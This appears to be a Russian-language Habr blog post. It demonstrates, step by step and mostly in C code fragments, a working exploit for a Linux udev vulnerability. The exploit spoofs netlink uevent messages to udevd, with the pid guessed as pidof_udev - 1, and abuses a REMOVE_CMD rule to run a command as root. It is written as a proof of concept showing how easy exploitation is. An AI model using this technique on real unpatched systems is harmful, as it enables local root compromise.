Pull to refresh

Скучный эксплойт для одной широкой дыры

Reading time 2 min
Views 2.2K
Хаброюзер allan_sundry во флейме про ботнет под Mac OS X не поверил, что недавняя уязвимость в Linux-овом udev действительно широка, глубока и в ряде случаев даже опасна. В ответ я решил написать этот топик, демонстрирующий, что создать рабочий эксплойт для опубликованной уязвимости нередко может даже фриланствующий студент-недоучка, потратив пару-тройку часов воскресным вечером.

Входная информация — udev не проверяет отправителя сообщения.

А вот и весь нехитрый процесс создания эксплойта по шагам:
  1. Скачиваем исходники udev, grep-ом находим, что нужно создавать netlink-сокет для протокола NETLINK_KOBJECT_UEVENT:
    int netlink_socket = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  2. Читаем man 7 netlink и заполняем адрес назначения для пакета:
    struct sockaddr_nl dest;<br/>memset(&dest, 0, sizeof(dest));<br/>dest.nl_family = AF_NETLINK;<br/>dest.nl_pid = pidof_udev;<br/>
  3. Запускаем strace -p `pidof udevd`, втыкаем что-нибудь в USB и получаем примерный формат пакета:
    #define REQ(act, dev) \<br/> act "@/class/mem/" dev "\0" \<br/> "UDEV_LOG=3\0" \<br/> "ACTION=" act "\0" \<br/> "DEVPATH=/class/mem/" dev "\0" \<br/> "SUBSYSTEM=mem\0" \<br/> "MAJOR=1\0" \<br/> "MINOR=1\0" \<br/> "SEQNUM=3747\0" \<br/> "UDEVD_EVENT=1\0" \<br/> "DEVNAME=/dev/" dev "\0"<br/>char req1[] = REQ("add", "ufo");
  4. Отправляем этот пакет:
    sendto(netlink_socket, req1, sizeof(req1)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    И получаем в ответ «Connection refused».
  5. Изучаем еще раз исходники udev и обнаруживаем, что netlink сокет открывается до того, как демон уйдет в фон, fork()-нувшись. Pid-ы обычно выдаются последовательно, поэтому попробуем просто задать немного другой адрес:
    dest.nl_pid = pidof_udev - 1;
    После этого никаких ошибок send() не вернул и более того, в /dev появился странный файл /dev/ufo, который и был только что создан через дыру в udev. Но создать устройство — это не очень не интересно, лучше исполнить свой код.
  6. Сложный путь по внедрению своего кода в ядро через специальные устройства /dev/mem и /dev/kmem — это интересно, но для proof-of-concept можно и срезать дорогу. Запускаем grep -r RUN /etc/udev/rules.d/ и находим странно написанное правило:
    ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
  7. Добавляем еще одно netlink-сообщение, на этот раз для удаления /dev/ufo:
    char req2[] = REQ("remove", "ufo") "REMOVE_CMD=/bin/touch /woot\0";<br/>sendto(netlink_socket, req2, sizeof(req2)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
    Запускаем… НЛО прилетело и оставило файл /woot!
Все вышеперечисленное проверялось на Gentoo но, вероятно, будет работать и под Ubuntu. Те, кто не обновился и желают самостоятельно поставить эксперимент, могут скачать код целиком.

P.S. скучный топик, не правда ли?
Tags:
Hubs:
+169
Comments 95
Comments Comments 95

Articles